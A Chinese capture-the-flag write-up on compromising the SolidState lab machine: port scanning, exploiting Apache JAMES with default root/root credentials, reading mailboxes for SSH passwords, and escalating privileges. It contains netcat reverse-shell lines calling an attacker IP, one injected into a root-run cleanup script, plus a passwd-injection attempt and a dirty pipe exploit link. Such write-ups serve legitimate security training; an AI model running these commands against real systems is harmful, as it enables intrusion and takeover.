实战打靶集锦-002-SolidState

news2024/9/28 23:33:23

**写在前面:**谨以此文纪念不完美的一次打靶经历。

目录

  • 1. 锁定主机与端口
  • 2. 服务枚举
  • 3. 服务探查
    • 3.1 Apache探查
      • 3.1.1 浏览器手工探查
      • 3.1.2 目录枚举
    • 3.2 JAMES探查
      • 3.2.1 搜索公共EXP
      • 3.2.2 EXP利用
        • 3.2.2.1 构建payload
        • 3.2.2.2 netcat构建反弹shell
      • 3.2.3 探查JAMES控制台
        • 3.2.3.1 登录控制台
        • 3.2.3.1 更改邮箱账号
        • 3.2.3.2 查看邮箱内容
  • 4. 突破边界
  • 5. 提权
    • 5.1 探查passwd文件
    • 5.2 枚举进程
    • 5.3 枚举可执行文件
    • 5.4 利用可执行文件
      • 5.4.1 构建提权payload
      • 5.4.2 尝试再次构建反弹shell
  • 6. 获得flag
  • 7. 补充信息

1. 锁定主机与端口

通过下面的命令进行主机发现。

$ sudo arp-scan -l

在这里插入图片描述
现在也看不出哪台主机是我的靶机(大概率是191,因为184是我临时打开上网的机器),直接对着三个机器进行一下全端口扫描吧。

$ sudo nmap -p- 192.168.65.184
$ sudo nmap -p- 192.168.65. 191
$ sudo nmap -p- 192.168.65. 254

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
184有netbios服务以及microsoft-ds,确实是我的windows机器,254直接卡死了,应该不是一个正常的主机,191上有SMTP服务和80端口上的http服务,基本上应该确认这就是靶机,也基本符合靶机的基本特征。

2. 服务枚举

接下来,我们通过nmap尝试获取一下开放端口上跑着什么服务(按空格可以看扫描进度)。

$ sudo nmap -p22,25,80,110,119,4555 -sV 192.168.65.191

在这里插入图片描述
主要有三个服务,Apache web应用、JAMES邮件,以及OpenSSH,下面也是先探查Apache,再探查JAMES,实在搞不定的时候再对OpenSSH下手。

3. 服务探查

3.1 Apache探查

3.1.1 浏览器手工探查

直接在浏览器请求目标主机的80端口。
在这里插入图片描述
各个页面点击查看一下,包括需要提交信息的提交一下,看看有没有什么发现。
页面提交信息没有发现什么问题,其他地方也没有发现异常,仅在页面的最底下有一个webadmin@solid-state-security.com的联系邮箱,我们先把webadmin这个用户名以及域名solid-state-security.com记下来,这两个信息后面可能有用。
然后在kali攻击机的/etc/hosts中添加如下的两行内容,并保存退出。
在这里插入图片描述
在浏览器中使用域名尝试访问一下web应用,因为有些应用通过IP地址和通过域名访问会得到不同的结果,这里并没有额外的发现。

3.1.2 目录枚举

分别使用dirsearch和nikto进行一下web应用的目录枚举。

$ dirsearch -u http://192.168.65.191

在这里插入图片描述
然后将扫描出来的目录手工请求一下看看有没有什么发现,这里没有什么有价值的发现。
再用Nikto扫描一遍试试看有没有遗漏。

$ nikto -h http://192.168.65.191

在这里插入图片描述
也没发现有价值的信息,到目前为止,没有在web应用上找到突破,暂时放弃。

3.2 JAMES探查

3.2.1 搜索公共EXP

接下来看一下邮件服务JAMES,先搜索一下公共EXP看看。
在这里插入图片描述
惊喜啊,竟然直接命中了我们的版本,看上去第二个EXP相对更加容易利用(第一个用ruby写的,本人不太熟悉,并且用到Metasploit,第三个需要身份认证,总体来看第二个相对简单并且是用相对熟悉的python写的)。

3.2.2 EXP利用

用下面的命令,把对应的EXP拷贝到当前工作目录。

$ searchsploit -m 35513

在这里插入图片描述
虽然从上图可以看出来,漏洞利用代码是经过验证的(Verified),为了安全,我们还是走读一下代码(要养成这种好的习惯,因为你在执行别人的漏洞利用代码的时候,可能也会顺带执行了代码中夹带的攻击代码),没有发现大问题。
整体的代码逻辑比较清晰,先定义一个payload(注意源代码中的payload只是为了验证,不具备攻击性,如果当前用户ID是0的话,在root下添加一个proof文件),然后尝试用默认的用户名密码(root/root)登录到JAMES的管理控制台(4555端口),添加一个账号;然后连接到SMTP服务器(25端口),并尝试向新添加的账号发送一个邮件(将payload作为了邮件内容的一部分)。

3.2.2.1 构建payload

为了利用这个代码,我们需要定义自己的payload,这里我们选择建立反弹shell,让靶机回连到我们的kali主机。
这里定义一个通过nc连接到攻击kali的反弹shell,内容如下。

sh -i 2>&1 | nc 192.168.65.177 4444

将上述代码替换到漏洞利用代码中的payload,并保存。

3.2.2.2 netcat构建反弹shell

然后在kali上启动一个nc监听。
在这里插入图片描述
接下来,另开启一个命令执行会话,直接运行修改后的漏洞利用代码。

$ python2 35513.py 192.168.65.191

在这里插入图片描述
漏洞利用代码成功被执行,这说明JAMES远程管理控制台的账号密码确实是默认的root/root,但是我们的nc监听并没有跟反弹shell建立连接。仔细查看漏洞利用代码的运行结果,可以看到,我们成功连接上了JAMES的远程管理控制台并创建了用户;然后我们成功连接了SMTP服务器并发送了payload,最后提示我们一旦用户登录,我们的payload才会执行。
到这里貌似卡壳了,因为这个靶机目前只有我自己在用,不会有人登录,因此也就不会触发我们的payload。因此下一步的重点应该放到“寻找可以登录靶机的账号”。

3.2.3 探查JAMES控制台

既然我们已经获得了JAMES远程管理控制台的用户名密码(root/root),我们何不登录进去查看一下呢?说不定会与意外收获呢!

3.2.3.1 登录控制台

通过下面的命令登录控制台。

$ nc -nv 192.168.65.191 4555

在这里插入图片描述
从控制台的HELP信息中,我们可以发现,我们不仅仅能够添加和删除用户(邮箱用户),还可以修改用户的密码。但是,需要注意的一点是,这里的用户仅仅是登录邮箱的用户,而不是linux系统或者数据库这一类的用户,所以即使我们修改了用户的密码,也只能用修改后的密码来登录邮箱。
从上面可以看出,目标系统中除了root/root远程管理控制台账号之外,还有james、john、mindy、mailadmin,中间那个很长的诡异的用户是我们的EXP利用代码创建的,直接忽略掉即可。

3.2.3.1 更改邮箱账号

既然上面显示能够在控制台上修改邮箱账号的密码,那我们尝试把上面列出的邮箱的密码逐个该修改一下。然后依次用这几个账号登录邮箱服务器,看看能不能找到一些历史邮件,并进一步从历史邮件中获得一些有用的线索。
按照HELP指示对列出的所有原始账号修改密码,不再赘述。

3.2.3.2 查看邮箱内容

然后尝试用修改后的密码依次登录各个邮箱账号查看。
james的邮箱中没有邮件,如下图。
在这里插入图片描述
依次查看其它几个邮箱账号。
在这里插入图片描述
在这里插入图片描述
欧耶,john邮箱里有一封邮件,通过 retr 1查看一下邮件内容。
在这里插入图片描述
貌似有些信息值得注意,john将会在这封邮件之后,给mindy发送一封包含密码的邮件。但是john的服务器上只有这一封邮件,接下来我们看看mindy的邮箱里有没有这个携带密码的邮件。
在这里插入图片描述
mindy的邮箱中有两封邮件,我们依次查看一下内容,在第二封邮件中赫然出现了mailadmin发送的用户名密码。
在这里插入图片描述

4. 突破边界

重新在kali攻击机器上开启netcat监听。
在这里插入图片描述
直接用mindy的邮箱中获取的账号密码通过ssh尝试登录目标主机,并检查netcat侦听是否有反弹shell回连。
在这里插入图片描述
幸福来的太突然,反弹shell建立成功。

5. 提权

既然突破了边界,那下一步就是提权了,接下来我们看看怎么提权。

5.1 探查passwd文件

先查看一下/etc/passwd文件再说。
在这里插入图片描述
既然能够访问这个文件,我们尝试看能不能直接写一个新用户到/etc/passwd文件,先通过openssl生成一个密码,其他信息直接复制root用户的,这样创建的账号跟root用户有一样的权限。

$ echo "testusr:BKZqXABcHmt3Y:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
看来是不行的,权限不够。

5.2 枚举进程

接下来看看机器上运行了哪些进程。
在这里插入图片描述
有点摸不着头绪了,发现以root用户运行的内容特别多,先记下来吧。

5.3 枚举可执行文件

先枚举一下可读可写的文件和目录吧。

$ find / -writable -type d 2>/dev/null

在这里插入图片描述
也没发现太多有用的信息,有点无计可施了,直接全盘搜索一下root用户所拥有的其它用户可写的可执行文件,看看有没有收获吧。

$ find / -type f -user root -perm -o=w 2>/dev/null

在这里插入图片描述
注意看输出结果的第一个,opt目录下有个tmp.py的可执行脚本,我们看看是否可利用。
在这里插入图片描述
这感觉更像是定期删除/tmp目录中临时文件的脚本,并且是root用户执行的(显示有些混乱,可能是反弹shell建立的不太好)。

5.4 利用可执行文件

5.4.1 构建提权payload

从上面的tmp.py文件中可以看出来,命令很简单。我们尝试直接将执行的命令“rm -r /tmp/* ”的后面添加上创建反弹shell的命令(真正的渗透实战中,尽量不要动原来的功能,防止功能出现异常被管理员发现,导致前功尽弃),修改后的文件内容如下所示。

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ;/bin/sh -i 2>&1|nc 192.168.65.177 5555 ')
except:
     sys.exit()

在这里插入图片描述

5.4.2 尝试再次构建反弹shell

然后在kali攻击机上开启5555端口监听,看看会不会有反弹shell连接进来。
在这里插入图片描述
说明:其实这里在实战中是不可取的,因为首先我们不确定这里的tmp.py是否为定时执行,另外我们也不知道执行频率是多长时间。一般情况下,如果在这里等待5~10分钟还没有回连的话,就得放弃这条线索了。
幸运的是,我们等了大概三五分钟,反弹shell建立了。
在这里插入图片描述

6. 获得flag

接下来我们检查一下是否提权成功。
在这里插入图片描述
从上面的输出,我们可以看出,我们的提权是成功的,并且得到了flag,获取了主机的IP信息。

7. 补充信息

如果这个时候没有成功会连的反弹shell,可能是因为这个不是定时任务的脚本,或者执行频率很低,我们看看这个版本的操作系统有没有其它可以提权的方式。
先通过uname -a查看一下操作系统信息。
在这里插入图片描述
据说这个版本上还有一个名为dirty pipe的内核提权的漏洞(CVE-2022-0847),漏洞利用代码为http://haxx.in/files/dirtypipez.c,接下来我们用这个来尝试一下提权。
先在32位机器上创建C代码文件,将漏洞利用代码拷贝进去,然后通过gcc命令编译。
在这里插入图片描述
将生成的a.out文件,通过nc上传到靶机。
靶机上开启监听:

 $ nc -nvlp 6666 > exp

将编译好的文件发送到靶机:

$ nc -nv 192.168.65.191 6666 < a.out

但是我在靶机上执行编译好的程序时报错了,如下。
在这里插入图片描述
可能是编译版本不对,后面有时间再研究一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/174815.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三十一、Kubernetes中Service详解、实例第一篇

1、概述 在kubernetes中&#xff0c;pod是应用程序的载体&#xff0c;我们可以通过pod的ip来访问应用程序&#xff0c;但是pod的ip地址不是固定的&#xff0c;这也就意味着不方便直接采用pod的ip对服务进行访问。 为了解决这个问题&#xff0c;kubernetes提供了Service资源&…

NX二开ufun函数UF_MODL_ask_curve_points(获取曲线信息)

根据曲线tag&#xff0c;返回曲线相关信息&#xff1a;弦宽容、弧度、最大步长、点数组的点。 实例返回结果截图如下&#xff1a; 实例创建曲线截图如下&#xff1a; 1、函数结构 int UF_MODL_ask_curve_points &#xff08;tag_t curve_id&#xff0c; double ctol&#xf…

【SpringCloud19】SpringCloud Alibaba Sentinel实现熔断与限流

1.概述 官网 中文文档 1.1 是什么 一句话解释&#xff0c;之前我们讲解过的Hystrix 1.2 怎么下 下载网址 1.3 作用 1.4 如何使用 官网学习 服务使用中的各种问题&#xff1a; 服务雪崩服务降级服务熔断服务限流 2.安装Sentinel控制台 2.1 组成部分 核心库&#x…

Golang之实战篇(1)

"千篇一律&#xff0c;高手寂寞。几十不惑&#xff0c;全都白扯"上篇介绍了golang这门新的语言的一些语法。那么我们能用golang简单地写些什么代码出来呢&#xff1f;一、猜数字这个游戏的逻辑很简单。系统随机给你生成一个数&#xff0c;然后读取你猜的数字&#xf…

老杨说运维 | AIOps如何助力实现全面可观测性(上)

前言&#xff1a; 嗨&#xff0c;今天是大年三十&#xff0c;大家是不是已经在家坐享团圆之乐了&#xff1f;还是说在奔向团圆的路上呢&#xff1f;不论如何&#xff0c;小编先祝大家新年如意安康&#xff0c;平安顺遂~ 熟悉我们的朋友肯定都知道&#xff0c;关于《老杨说运维…

30.字符串处理函数

文章目录1.测字符串长度函数2.字符串拷贝函数1.strcpy函数2.strncpy函数3.字符串追加函数1.strcat函数2.strncat函数4.字符串比较函数1.strcmp函数2.strncmp函数5.字符查找函数1.strchr函数2.strrchr函数6.字符串匹配函数7.空间设定函数8.字符串转换数值9.字符串切割函数strtok…

【Java开发】Spring Cloud 04 :服务治理Nacos

本章节正式进入 Spring Cloud 环节了&#xff0c;首先介绍微服务架构中一个最重要的原理概念&#xff1a;服务治理&#xff0c;在概念讲解之后&#xff0c;讲解介绍 Nacos 服务注册中心的体系结构。1 服务治理1.1 服务治理介绍首先通过一个例子告诉你服务治理解决了什么问题。比…

GD32F4——外部中断

一、NVIC中断系统 Cortex-M4集成了嵌套式矢量型中断控制器&#xff08;Nested Vectored Interrupt Controller&#xff0c;NVIC&#xff09;来实现高效的异常和中断处理。 中断系统包含外部中断、定时器中断、DMA中断和串口中断等。 二、EXTI外部中断 EXTI&#xff08;中断…

go的基本语法介绍之变量的声明与初始化

1.常见基本数据类型 uint8&#xff1a;无符号8位整形&#xff0c;取值范围&#xff1a;0-255 uint16&#xff1a;无符号16位整形&#xff0c;取值范围&#xff1a;0-65535 uint32&#xff1a;无符号32位整形&#xff0c;取值范围&#xff1a;0-4294967295 uint64&#xff1…

opencv arm交叉编译与仿真验证详细流程

【关键内容】 1.将opencv编译为能在arm上运行的库 2.在没有板子的情况下&#xff0c;仿真验证opencv库 1.将opencv编译为能在arm上运行的库 1.在下方链接中选择某个版本 Releases - OpenCVhttps://opencv.org/releases/点击“Sources”即可开始下载&#xff0c;得到opencv-…

「数据结构、逻辑结构、物理结构」基本概念简析

前言 前言&#xff1a;简析数据结构、逻辑结构、物理结构。 文章目录前言一、数据结构1. 简介2. 数据3. 结构4. 分析5. 分类1&#xff09;线性结构&#xff08;线性表&#xff09;2&#xff09;树结构3&#xff09;图结构二、逻辑结构与物理结构1. 为什么要有逻辑结构和物理结构…

【leetcode合集】如何知道自己是否掌握了数组与链表?试试这几道题目吧!

目录 1.数组题目合集 1.1 leetcode.27 移除元素 1.2 leetcode.26 删除有序数组中的重复项 1.3 leetcode.88 合并两个有数数组 2.链表题目合集 2.1 leetcode.203 移除链表元素 2.2 leetcode.206 反转链表 2.3 leetcode.876 链表的中间结点 2.4 牛客 链表中倒数第k个结点…

零基础学JavaWeb开发(十七)之 mybatis(2)

5、MyBatis - 映射文件标签 5.1、映射文件的顶级元素 select&#xff1a;映射查询语句 insert&#xff1a;映射插入语句 update&#xff1a;映射更新语句 delete&#xff1a;映射删除语句 sql&#xff1a;可以重用的 sql 代码块 resultMap&#xff1a;最复杂&#xff0c…

章鱼网络 2022 虎年全回顾

全长5606字&#xff0c;预计阅读20分钟2022年对章鱼网络而言颇为特别。这是章鱼网络建设应用链多链生态历程的第一年&#xff0c;整个 Web3 行业都经历了极其糟糕的市场环境&#xff0c;但是我们在「生态建设」、「基础设施优化」、「社区治理」和「市场拓展」等都有长足进展&a…

31.Isaac教程--规划器代价

规划器代价 ISAAC教程合集地址: https://blog.csdn.net/kunhe0512/category_12163211.html 文章目录规划器代价组件入门通过应用程序图自定义成本导航本地规划器基于线性二次调节器 (LQR) 规划器。 它通过生成最小化成本函数的轨迹来工作。 不幸的是&#xff0c;没有适用于所有…

Allegro如何输出第三方网表操作指导

Allegro如何输出第三方网表操作指导 在做PCB设计的时候,会需要输第三方网表,Allegro支持快速输出第三方网表,如下图 具体操作如下 选择File选择Export

Leetcode:39. 组合总和、40. 组合总和 II(C++)

目录 39. 组合总和&#xff1a; 问题描述&#xff1a; 实现代码与解析&#xff1a; 回溯&#xff1a; 原理思路&#xff1a; 剪枝版&#xff1a; 40. 组合总和 II&#xff1a; 问题描述&#xff1a; 实现代码与解析&#xff1a; 回溯&#xff1a; 原理思路&#xff…

函数——“C”

各位CSDN的uu们新年快乐呀&#xff0c;祝大家越来越开心&#xff0c;越来越优秀。那行&#xff0c;让我们进入今天的正题&#xff0c;来了解了解函数&#xff0c;函数是什么&#xff0c;C语言中函数是如何分类的&#xff0c;函数参数&#xff0c;函数调用等一系列小知识点&…

文件操作详解-IO

目录 1.认识文件 2.文件的类型 3.java对文件的操作 针对文件系统操作 针对文件内容操作 字节流 字符流 字节流的使用 字符流的使用 4.文件IO小程序练习 示例1 示例2 1.认识文件 狭义的文件指的是硬盘上的文件和目录 广义的文件泛指计算机中的很多的软硬件资源,操…

3小时精通opencv(二)图片的常用操作

3小时精通opencv(二)图片的常用操作 参考视频资源:3h精通Opencv-Python 文章目录3小时精通opencv(二)图片的常用操作灰度图像高斯滤波边缘检测膨胀函数腐蚀函数整体代码灰度图像 img cv2.imread(Resources/lena.png) imgGray cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) cv2.im…